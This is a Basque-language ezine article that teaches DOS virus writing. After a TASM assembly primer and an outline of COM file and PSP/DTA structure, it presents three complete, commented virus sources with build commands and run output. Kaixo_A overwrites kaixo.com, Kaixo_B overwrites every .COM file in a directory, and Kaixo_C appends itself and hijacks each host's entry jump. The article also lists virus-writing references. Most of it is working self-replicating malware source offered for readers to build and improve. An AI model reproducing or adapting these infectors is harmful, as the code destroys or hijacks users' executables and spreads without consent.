==Jakin ezine== <0x08>garren alea, <0x02>garren artikulua |=--------------=[ BirusLaB: COM fitxategien infekzioa ]=----------------=| |=-----------------------------------------------------------------------=| |=----------------------------=[ killkir ]=------------------------------=| |=-------------------=[ eposta: killkir yahoo com ]=--------------------=| 0.Hitzaurrea 1.Mihiztadura lengoaia 2.COM Fitxategiak 3.COM Zoldura edo infekzioa 3.1.Kaixo_A kodea 3.2.Kaixo_B kodea 3.3.Kaixo_C kodea 4.Tresneria 5.Erreferentziak 6.Viriiztegia 0.Hitzaurrea ------------ Zuekin killkir. Birusetan interesatuta nago baina nire gaitasunak penagarriak dira. Halere, beste inork ausardia euki ez duenez BirusLaB izeneko arloa aurkeztuko dut nire bi potrokin :> Nire asmoa da Jakin ezinearen ale bakoitzean zerbait idaztea da izaki artifizial hauen funtzionamendua hobeto ezagutzeko. Zuen laguntza ongi etorria izango da! Zer dira birusak? oinarri-oinarrian bere buruaren kopia egiteko gai diren programak dira. Egun definizio hau atzeratuta geratu da birusen ahalmenak izugarriak baitira "bizirik" irauteko garaian. Birusen mundua ikaragarri handitu da Core Wars-en garaitik. Nondik hasi? klasiko batetik: COM fitxategien infekzion edo zoldura. Hasteko modu ona da zenbait arrazoiagatik: -Errezak eta xinpleak dira. -Msdos eta windows inguruneak ohizko bizilekuak dira birusentzako. -TASM eta MASMren sintaxia ikusteko aprobetxatuko dugu. 1.Mihiztadura lengoaia ---------------------- OK zorionez aurreko aleetan NASM lengoaia eta Intel arkitekturaren sarrera eman da, beraz ez da dena errepikatu behar. Aginduak berdinak badira ere sintaxia pixka bat aldatzen da. Ikusagun 'Lehena' adibidea eta konpilazio metodoa: ----------------------8<------------------------------------------------------- ; Lehena.asm ; Konpilazioa: tasm Lehena.asm ; Estekaketa: tlink lehena.obj ; Hau iruzkina da ; Hasteko zenbait direktiba ikusiko ditugu. ; PAGE Direktiba honekin kodea 50 lerro eta 80 zutabetan erakustea behartzen da PAGE 50, 80 ; TITLE: Izenburu bat jartzeko TITLE Nire lehen programa ;; Mihiztadura lengoaiako kodea segmentutan banatzen da. ;; Segmentuak datuei dedikatuak, kode segmentuak e.a. izan daitezke. ; SEGMENT: segmentuak adierazteko direktiba. Gutxienez bat eduki behar da! ; Programa batean nahi adina segmentu defini daitezke. ;; Datu segmentua definituko dugu DatuSegmentua SEGMENT PARA PUBLIC 'DATA' ALDAGAIBAT DW 0 DatuSegmentua ENDS ;; Kode Segmentua definituko dugu orain KodeSeg SEGMENT PARA PUBLIC 'Code' ; Hemen hasten da KodeSegmentua ; SEGMENTUA bukatzeko [Izena] ENDS idatzi ; PROC: segmentuen barruan prozedurak definitzeko. Nagusia PROC NEAR ; Prozeduraren hasiera, NEAR ala FAR jar daiteke ; Zer da NEAR? prozedura segmentu berdinetik erabil daiteke ; segmentu ezberdinetatik deitu ahal izateko FAR bezala izendatu behar da. ; ASSUME Segmentu erregistroak ezartzeko ;;ASSUME SS:PilaSeg, DS:DatuSeg, CS:KodeSeg,ES: SegExtra ASSUME DS: DatuSegmentua, CS:KodeSeg ; Zenbait agindu simple sartuko ditugu XOR AX, AX ; AX=0 XOR BX, BX ; BX=0 RET ; RETURN: ateratzeko Nagusia ENDP ; Prozeduraren bukaera KodeSeg ENDS ; Kode segmentuaren bukaera END Nagusia ; Dena bukatzeko ; Bestelako direktibak, sintaxi laburtua erabiltzen denean: ; .MODEL : memoria eredua adierazteko ; .DATA : data segmentua definitzeko ; .STACK : meta segmentua definitzeko ; .CODE : kode segmentua definitzeko ----------------------8<------------------------------------------------------- Sintaxi honetan arraroena egingo zaiguna segmentuen asuntua da. Dena den askoz ere sinpleago idatz daiteke. 2.COM fitxategiak ----------------- COM fitxategiak programa bitarrak dira azken finean baina berezitasun batzuekin: -Egikaritzen direnean, fitxategian dagoena zuzenean memorian kargatzen da. -Tamaina mugatua daukate (64K edo segmentu bakarra). Nola sortu COM fitxategi bat? bi gauza behar dira: 1: kodean direktiba hau sartu behar da: org 100h 2: estekaketa (linking) garaian /t flaga erabili. Ikusagun Kaixo Mundua adibidea com formatoan. Sintaxia sinplifikatzen saiatu naiz, eta formalismoak kendu ditut. ----------------------8<------------------------------------------------------- ;; Kasu honetan segmentu bakarra erabiliko dugu. NireKodea segment ; Ikustenb duzuen moduan DS edo Datu segmentua NireKodea segmentuan dago. assume cs: NireKodea, ds: NireKodea org 100h ; Hona hemen COM fitxategiek behar duten direktiba. kaixo proc near nagusia: mov ah, 09h ; AH=09H sistema deia, katea pantailaratzeko mov DX, offset mezua ; DX=[mezua]ren memoria helbidea int 21h ; Sistema deia eragiten da int 20h ; programa bukatzeko deia ; datua NireKodea segmentuan daukagu ; aldagaia: mezua. mezua db 'Kaixo mundua','$' ; $ jarri behar zaio kate amaiera adierazteko kaixo endp NireKodea ends end nagusia ----------------------8<------------------------------------------------------- Konpilatu eta estekatzerakoan horrelako zerbait ikusiko dugu: Z:\Killkir\izakiak>tasm kaixo.asm Turbo Assembler Version 4.1 Copyright (c) 1988, 1996 Borland International Assembling file: kaixo.asm Error messages: None Warning messages: None Passes: 1 Remaining memory: 445k Z:\Killkir\izakiak>tlink /t kaixo.obj Turbo Link Version 7.1.30.1. Copyright (c) 1987, 1996 Borland International Z:\Killkir\izakiak>kaixo.com Kaixo mundua Z:\Killkir\izakiak> 2.1.COM fitxategien egitura --------------------------- Bale, kodea ikusi dugu baina ze tankera dauka COM exekutagarriak memorian? Zergatik behar da org 100h direktiba hori? Fitxategia memorian kargatu baino lehen, sistema eragileak memorian PSP izeneko 256Byteko egitura kargatzen du: Program Segment Prefix. Horren gainean COM fitxategia kargatzen du. PSParen edukina (CP/M sistema zaharraren herentzia) hauxe litzateke: Mem. +------------------------------------------------------+ 0H | int20H agindua (2 byte) | |------------------------------------------------------| 2H | Kokatutako azken segmentuaren helbidea (2 byte) | |------------------------------------------------------| 4H | Erreserbatua (byte 1) | |------------------------------------------------------| 5H | DOS funtzio dispatcherraren FAR deia (5 byte) | |------------------------------------------------------| AH | int22h bektorea programa amaitzeko (4 byte) | |------------------------------------------------------| EH | int23h bektorea Ctrl-C-ren euskarria (4 byte) | |------------------------------------------------------| 12H | int24h bektorea errore kritikoaren euskarria (4 byte)| |------------------------------------------------------| 16H | Erreserbatua (22 byte) | |------------------------------------------------------| 2CH | DOS ingurunearen segmentua (2 byte) | |------------------------------------------------------| 2EH | Erreserbatua (34 byte) | |------------------------------------------------------| 2EH | int21h agiundua (3 byte) | |------------------------------------------------------| 53H | Erreserbatua (9 byte) | |------------------------------------------------------| 5CH | File Control Block 1 (16 byte) | |------------------------------------------------------| 6CH | File Control Block 2 (20 byte) | |------------------------------------------------------| 80H | Defektuzko DTA (128 byte) | |------------------------------------------------------| 100H | COM kodearen hasiera (adi helbidearekin: 100H) | +------------------------------------------------------+ COM fitxategia 100H helbide edo offset-atik aurrera hasiko da; offset-arekin zera esan nahi du: helbide erlatiboa da noski. DTA: Disk Transfer Area. Fitxategiak atzitzen direnean DTA datuz beteko da. DTAren egitura zehatza hobeto ezagutzea komeni da, batez ere gehien erabiliko dugun datu gunea delako eta etorkizunean manipulazioak sartzeko bidea izango delako. Offset Betekizuna Tamaina 0h Erreserbatua 21 byte 15h Fitxategi atributuak 1 byte 16h Denbora -orduak- marka 2 byte 18h Data -eguna- 2 byte 1Ah Tamaina 4 byte 1Eh Fitxategi izena 13 byte PSP eta COM fitxategia memorian daudenean holako egitura geratzen da: SP +-----------------+ | Meta edo Stack | | | |-----------------| | | | COM fitxategia | | | |-----------------| offset: 100H , IP hortxe hasten da. | PSP | +-----------------+ offset: 0H. DS,CS,ES,SS Gure helburua orain, COM fitxategian gure kodea sartzea da. 3.COM Zoldura edo infekzioa --------------------------- Gehienetan pauso hauek jarraitzen dira. 1: Hasteko com fitxategiak bilatzen dira (4eh deia) 2: Ez dira topatu? goto 9 3: Topatutako fitxategia ireki RW moduan (3dh deia, 02h flagekin) 4: Dagoeneko infektaturik dagoen ala ez begiratu 5: infektaturik jada? goto 8 6: Gure birusaren kodea idatzi 7: Fitxategia itxi (3eh deia) 8: Hurrengoa bilatu (4fh deia) goto 1 9: Bukatu Prozedura asko hobetu daiteke. Gure kasuan birus xinpleagoa sortuko dugu. Beno ba, mihiztadura lengoaia, COM fitxategien egitura eta prozedura azaldo ondoren birusaren kodea sartzea besterik ez zaigu falta. Hona hemen. 3.1.Kaixo_A kodea ----------------- Kaixo_A izeneko programa honek bere direktorioan bertan dagoen lehen kaixo.com izeneko fitxategia bilatu eta infektatuko du. Eta kitto. Oso xinplea, baina hasteko egokia. ----------------------8<------------------------------------------------------- ; kaixo_a.asm ; KAIXO.COM izeneko lehen fitxategia bilatu, read-write moduan ireki ; eta bere kodea kopiatzen du fitxategi hasieran. PoC kaxkarra. ; Jakin ezine #8 - BirusLaB - Killkir ; konpilazioa: tasm kaixo_a.asm ; estekaketa: tlink /t kaixo_a.obj kodesegmentua segment ; Kode segmentuaren hasiera assume cs:kodesegmentua,ds:kodesegmentua ; CS eta DS segmentu berdinean org 100h ; COM fitxategia izateko behar den marka kaixo proc near ; kaixo prozeduraren hasiera kaixo_a: ; Hasierako etiketa mov ah,4eh ; AH=4eh, bilaketa sistema deia xor cx,cx ; CX=0 egiteko modua lea dx,katea ; DX='kaixo.com', katearen helbidearen bitartez int 21h ; Software etena 4eh deia burutzeko jc ordaina ; Carry flag 1,ez da ezer topatu, bada ordainara pasa ireki: ; Fitxategia topatu bada irekiko dugu mov ax,3d02h ; AH=3dh deia (ireki), AL=02h RW moduan mov dx,9eh ; PSParen DTAtik topatutako fitxategi izena hartzen du int 21h ; Software etena 3dh deia burutzeko zoldura: ; Zoldura hasten da xchg bx,ax ; AX eta BX arteko swap-a mov ah,40h ; AH=40h, idazketa sistema deia mov cx,offset bukaera - offset kaixo_a ; CX=idatzi nahi dugun byte kopurua. Etiketekin kalkula daiteke lea dx,kaixo_a ; DX=idatzi nahi dugunaren iturria: kaixo_a-ren hasiera int 21h ; Software etena 40h deia burutzeko itxi: ; Fitxategia ixten da mov ah,3eh ; AH=3eh, fitxategiak ixteko sistema deia int 21h ; Software etena 3eh deia burutzeko ordaina: ; Payload edo ordaina hasten da. mov ah,09h ; AH=09h, katea pantailaratzeko sistema deia lea dx,mezua ; DX='Kaixo_a naiz', katearen helbidearen bitartez int 21h ; Software etena 09h deia burutzeko int 20h ; Programa amaitzeko dei zaharkitua katea db 'kaixo.com',0 ; Infektatuko diren fitxategi izenen patroia mezua db 'Kaixo_A naiz','$' ; ordain gisa aterako den mezua, beti $ batekin bukatuta bukaera label near ; Etiketa hutsa kode honen tamaina kalkulatzeko kaixo endp ; kaixo prozeduraren amaiera kodesegmentua ends ; Kode segmentuaren bukaera end kaixo_a ; kaixo_aren bukaera ----------------------8<------------------------------------------------------- Nola probatu? aurreko kaixo programa xinplearekin adibidez. Overwriting moduan infektatzen du, beraz kaixo.com-en edukiaran gainean bere kodea sartzen du. Birus suntsitzaile eta penagarria da. 1. KAIXO.COM hasieran +-----------------+ | | | | | KAIXO.COM | | | |-----------------| offset: 100H , IP hortxe hasten da. | PSP | +-----------------+ offset: 0H. DS,CS,ES,SS 2. Zolduraren ostean +-----------------+ | | | | | KAIXO_A.COM | | | |-----------------| offset: 100H , IP hortxe hasten da. | PSP | +-----------------+ offset: 0H. DS,CS,ES,SS 3.2.Kaixo_B kodea ----------------- Bueno, aurrekoaren hobekuntzak sartuko ditugu 1. Direktorioan dagoen edozein .COM fitxategi infektatuko da 2. Direktorioaren .COM guztiak infektatuko dira Fitxategien bilaketa egiten denean bi pausu daude, lehenengoa topatzeko 4eh sistema deia erabiltzen da, eta hortik aurrera 4fh deia erabili behar da hurrengo guztiak ateratzeko. Bilaketaren emaitzak .COMaren PSPan gordetzen dira, DTA gunean hain zuzen ere. Beraz topatutako fitxategiaren izena lortzeko helbidea hortxe daukagu 80H eta 100H artean. ----------------------8<------------------------------------------------------- ; kaixo_b.asm ; Direktorioaren *.COM izeneko fitxategiak bilatu, read-write moduan ireki ; eta bere kodea kopiatzen du fitxategi hasieran. ; Jakin ezine #8 - BirusLaB - Killkir ; konpilazioa: tasm kaixo_b.asm ; estekaketa: tlink /t kaixo_b.obj kodesegmentua segment ; Kode segmentuaren hasiera assume cs:kodesegmentua,ds:kodesegmentua ; CS eta DS segmentu berdinean org 100h ; COM fitxategia izateko behar den marka kaixo proc near ; kaixo prozeduraren hasiera kaixo_b: ; Hasierako etiketa mov ah,4eh ; AH=4eh, bilaketa sistema deia bilatu: xor cx,cx ; CX=0 egiteko modua lea dx,katea ; DX='*.com', katearen helbidearen bitartez int 21h ; Software etena 4eh deia burutzeko jc ordaina ; Carry flag 1,ez da ezer topatu, bada ordainara pasa ireki: ; Fitxategia topatu bada irekiko dugu mov ax,3d02h ; AH=3dh deia (ireki), AL=02h RW moduan mov dx,9eh ; PSParen DTAtik topatutako fitxategi izena hartzen du int 21h ; Software etena 3dh deia burutzeko zoldura: ; Zoldura hasten da xchg bx,ax ; AX eta BX arteko swap-a mov ah,40h ; AH=40h, idazketa sistema deia mov cx,offset bukaera - offset kaixo_b ; CX=idatzi nahi dugun byte kopurua. Etiketekin kalkula daiteke lea dx,kaixo_b ; DX=idatzi nahi dugunaren iturria: kaixo_b-ren hasiera int 21h ; Software etena 40h deia burutzeko itxi: ; Fitxategia ixten da mov ah,3eh ; AX=3eh, fitxategiak ixteko sistema deia int 21h ; Software etena 3eh deia burutzeko ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov ah,4fh ; AH=4fh, hurrengoa bilatu sistema deia! jmp bilatu ; jauzi zuzenean bilaketara ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ordaina: ; Payload edo ordaina hasten da. mov ah,09h ; AH=09h, katea pantailaratzeko sistema deia lea dx,mezua ; DX='Kaixo_b naiz', katearen helbidearen bitartez int 21h ; Software etena 09h deia burutzeko int 20h ; Programa amaitzeko dei zaharkitua ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; katea db '*.com',0 ; Infektatuko diren fitxategi izenen patroia: .com guztiak ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mezua db 'Kaixo_B naiz','$' ; ordain gisa aterako den mezua, beti $ batekin bukatuta bukaera label near ; Etiketa hutsa kode honen tamaina kalkulatzeko kaixo endp ; kaixo prozeduraren amaiera kodesegmentua ends ; Kode segmentuaren bukaera end kaixo_b ; kaixo_aren bukaera ----------------------8<------------------------------------------------------- Bueno, honekin ia kontuz ibili beharko gara zeren dagoen direktorioaren .COM fitxategia guztiak infektatuko baititu. Dena den kaixo_a eta kaixo_b birusen zoldura ez da oso elegantea; bere host-aren edukina zapaltzen du, besterik gabe. Ez al hobea hostaren edukia mantentzea eta birusaren kodea bere bukaeran sartzea? bai noski. 3.3.Kaixo_C kodea ----------------- Bueno, kode honetan infekzio modua aldatuko dugu, overwriting ordez appending izango da. Beraz host-aren kodea mantenduko da. Zer egingo du birusak? hostaren lehen agindua aldatuko du birus kodera jmp jauzia sartuz; hartaz birusa exekutatuko da lehenbizi eta horren ondoren hostaren kodera itzuliko da. 1. KAIXO.COM hasieran. Bere lehen agindua 'mov ah,09h' da +-----------------+ | | | | | KAIXO.COM | | | |_________________| |__mov_ah,09h_____| offset: 100H , IP hortxe hasten da. | PSP | +-----------------+ offset: 0H. DS,CS,ES,SS 2. Zolduraren ostean +-----------------+ | | | | | KAIXO_C.COM | +-----------------+ bir: birusaren hasiera helbidea | | | | | KAIXO.COM | | | |_________________| |__jmp_bir________| offset: 100H , IP hortxe hasten da. | PSP | +-----------------+ offset: 0H. DS,CS,ES,SS Goazen kodearekin: ----------------------8<------------------------------------------------------- ; kaixo_c.asm ; COM append moduko zoldura. ; Direktorioaren *.COM izeneko fitxategiak bilatu, read-write moduan ireki, ; host-aren lehen 3 byteak gorde, hasieran birusari jauzi bat sartu eta birus kodea hostaren ; bukaeran idazten du. ; ; Jakin ezine #8 - BirusLaB - Killkir ; konpilazioa: tasm kaixo_c.asm ; estekaketa: tlink /t kaixo_c.obj kodesegmentua segment ; Kode segmentuaren hasiera assume cs:kodesegmentua,ds:kodesegmentua ; CS eta DS segmentu berdinean org 100h ; COM fitxategia izateko behar den marka nagusia: db 0e9h,0,0 kaixo_c: ; Kaixo_c birusaren hasiera call hasiera ; CALL honekin birusaren momentuko helbidea lortuko dugu! ; call deiak momentuko IPa pilaratzen du, hortxe daukagu helbidea ; birusa hostan idazterakoan helbideak aldatzen dira beraz ; hasieran kalkulu hau egin behar da derrigor hasiera: pop bp ; SI erregistroan pilaratutako IPa gordeko dugu. sub bp,offset hasiera ; birus_hasiera barruan offset berriak ; kalkulatzeko erreferentzia lortu dugu ; Hasteko host-aren jatorrizko 3 byteak berridatziko ditugu. ; Birus kodearen bukaeran 100h helbidera itzuliko gara lea si,[bp + offset host_hasiera] ; SI=Gordetako 3 byteak, jatorria mov di,100h ; DI=100h idazketa helburua movsb ; byte bat mugitu movsb ; byte bat mugitu movsb ; byte bat mugitu ; DTA gune berezian gordetzea komeni da lea dx,[bp + offset gorde_dta] mov ah,1ah ; AH=1ah, DTA egitura DXek apuntatzen duen lekuan sartzeko int 21h ; Software etena 3dh deia burutzeko mov ah,4eh ; AH=4eh, bilaketa sistema deia bilatu: xor cx,cx ; CX=0 egiteko modua lea dx,[bp + katea] ; DX='*.com', katearen helbidearen bitartez mov cx,7 int 21h ; Software etena 4eh deia burutzeko jc ordaina ; Carry flag 1,ez da ezer topatu, bada ordainara pasa ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ZOLDURA EDO INFEKZIOA ; Fitxategia R/W moduan irekitzen dugu mov ax,3d02h ; AH=3dh deia (ireki), AL=02h RW moduan lea dx,[bp + offset gorde_dta + 1eh] ; PSParen DTAtik topatutako fitxategi izena hartzen du int 21h ; Software etena 3dh deia burutzeko xchg bx,ax ; AX eta BX arteko swap-a ; Hostaren lehen 3 byteak irakurriko ditugu mov cx,3 lea dx,[bp + host_hasiera] ; Emaitza host_hasiera aldagaian utziko dugu mov ah,3fh ; AH=3fh, irakurketa sistema deia int 21h ; Software etena 3fh deia burutzeko ; Idazketa: jauzia (hasieran) eta birusaren kodea (bukaeran) sartuko dugu ; Hasteko hasieran kokatuko gara xor cx,cx ; CX=0 egiteko modua xor dx,dx ; DX=0 egiteko modua mov ax,4200h ; AH=40h, idazketa host-aren hasieran (AL=00h) sartzen dugu int 21h ; Software etena 3fh deia burutzeko ; Orain jauzia idazten dugu mov cx,3 ; 3 byte idatziko ditugu, ez besterik ; Jauziaren tamaina kalkulatu behar da lehenbizi. Nola? ; Ireki dugun fitxategiaren tamaina da! DTAtik aterako dugu 1ah helbidetik mov dx,word ptr [bp + gorde_dta + 1ah] ; Tamaina atera gorde dugun DTAtik sub dx,3 ; 3 byte kendu... mov word ptr [bp + jauzi_agindua + 1],dx ; Tamaina kalkulatu ostean jauzi_aginduan gordetzen dugu lea dx, [bp + jauzi_agindua] ; Orain jauzi agindu OSOA DXen gordetzen da! mov ah,40h ; AH=40h, idazketa sistema deia int 21h ; Software etena 40h deia burutzeko ; Hostaren bukaeran kokatuko gara xor cx,cx ; CX=0 egiteko modua xor dx,dx ; DX=0 egiteko modua mov ax,4202h ; AH=40h, idazketa host-aren bukaeran (AL=02h) sartzen dugu int 21h ; Software etena 3fh deia burutzeko ; Orain birusaren kodea idazten dugu mov cx, bukaera - kaixo_c ; CX=idatzi nahi dugun byte kopurua. Etiketekin kalkula daiteke lea dx,[bp + kaixo_c] ; DX=idatzi nahi dugunaren iturria: kaixo_c-ren hasiera mov ah,40h ; AH=40h, idazketa sistema deia int 21h ; Software etena 40h deia burutzeko ; Fitxategia ixten da mov ah,3eh ; AX=3eh, fitxategiak ixteko sistema deia int 21h ; Software etena 3eh deia burutzeko ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov ah,4fh ; AH=4fh, hurrengoa bilatu sistema deia! jmp bilatu ; jauzi zuzenean bilaketara ordaina: ; Payload edo ordaina hasten da. mov ah,09h ; AH=09h, katea pantailaratzeko sistema deia lea dx,[bp + offset mezua] ; DX='Kaixo_c naiz', katearen helbidearen bitartez int 21h ; Software etena 09h deia burutzeko ; HOST kodera itzultzen: berriz ere 100h helbidera jo behar dugu mov ax, 100h ; AX=100h helbidea sartu jmp ax ; Jauzi! mezua db 'Kaixo_C naiz',10,13,'$' ; ordain gisa aterako den mezua, beti $ batekin bukatuta katea db '*.com',0 ; Infektatuko diren fitxategi izenen patroia: .com guztiak host_hasiera db 0cdh,20h,0 ; Hostaren lehen agindua gordetzeko gunea jauzi_agindua db 0e9h,0,0 ; Hostan sartuko dugun jauzi agindua gorde_dta db 42 dup (?) ; DTAren datuak gordetzeko gunea bukaera label near ; Etiketa hutsa kode honen tamaina kalkulatzeko kodesegmentua ends ; Kode segmentuaren bukaera end nagusia ; kaixo_c_host-aren bukaera --------------------8<--------------------------------------------------------- Zer gertatzen da kaixo_c egikaritzen denean? zera: Z:\Killkir\izakiak>kaixo Kaixo mundua Z:\Killkir\izakiak>kaixo_c Kaixo_C naiz Z:\Killkir\izakiak>kaixo Kaixo_C naiz Kaixo mundua Z:\Killkir\izakiak> Ikusten denez, kaixo_c-k hostaren kodea errespetatzen du. Dena den kode kaxkarra da eta hobekuntzak behar ditu: garrantzitsuena dagoeneko fitxategia infektaturik dagoen ala ez aztertzea (marka bat jarrita ala tamainak konparatuz). Bestetik tamaina minimoa ere aztertu beharko luke. 4.Tresneria ---------------- Zer behar dugu kode hau programatu eta probatzeko? 1. Edozein editore, hobeto sintaxia nabarmentzen dutenak, crimson editor bezalakoak 2. TASM, Borland etxearen Turbo Assembler. Bestela MASM, Microsoft-en mihiztatzailea baina askok ez dute gomendatzen. 3. Arazketa egiteko edo pausoak ikusteko. Softice, bestela TD edo Turbo Debugger, bestela debug. 4. DOS shell bat :) 5.Erreferentziak ---------------- Abiapuntu egoki bat virusheavens da, bertan den dena dago. Horretaz gain birusei buruzko ezineetara jo daiteke baina kontuz. Batzuen lehen aleak ia maila altuarekin hasten dira 29A adibidez. Horregatik kasu honetan 40hex eta CodeBreakers gomendatzea egoki deritzot. * Jakin ezine #3 mihiztadura lengoaia, NHTaldea. * Jakin ezine #4 mihiztadura lengoaia, NHTaldea * Virus Heavens: http://vx.netlux.org nolabaiteko biruspedia bat da * Ralf Brown's Interrupt List: etenen erreferentzia ospetsua. * 40HEX #1.001 : ezine honen lehen alean COM birusik 'txikiena' azaltzen da, 163 edo tiny familia. * CodeBreakers #1 .02 : bere lehen alean ere COM fitxategien zoldura azaltzen da, pausoz pauso. * CodeBreakers #2 .02 : bigarren alean appending COM baten zoldura azaltzen da * Virus Writing Guide, Billy Belcebu * Little Black Book of Computer Viruses - Mark Ludwig, oso zaharkitua * Programming guide to de IBM PC - Peter Norton, a.k.a. liburu arrosa, klasikoa! 6.Viriiztegia ------------- Pixkanaka birus munduaren hitzak sartuko ditut, hizkera ezagutzeko. Appending = birusaren kodea biktimaren bukaeran sartzen da Host = birusa daraman fitxategia Overwriting = biktimaren edukia matxakatzen denean Payload = edo ordaina, hau da birusak egiten duen 'grazia' Virii = Birusen arloa VXers = Birus idazleak Zoldura = infekzioa Agurrak: Beno ba, birusen mundu izugarri-zoragarrian nirekin murgiltzeko prest bazaudete Jakinen hurrengo aleetan "irakurriko" gara. Hurrengo aleetan EXE, PE, ELF eta abarren zoldura tratatzea espero dut. Nik ere bloga badut!! xDDD Bertan eguneroko kodea idazten dut: http://killkir.blogspot.com Hackmeeting batean birusei buruzko hitzaldi bat egon zen (sheroc-en eskutik) eta orduan eman zuten gomendio errepikatu nahiko nuke: mihiztadura lengoaia praktikan jarri! Eta kodea irakurri! gauza berdina lortzeko modu ezberdinak daude. Adituentzako mezua: bai, badakit maila exkasa daukadala baina zuek behin ere hasiberriak izan zineten ezta? iruzkinak ongi etorriak izango dira. -killkir-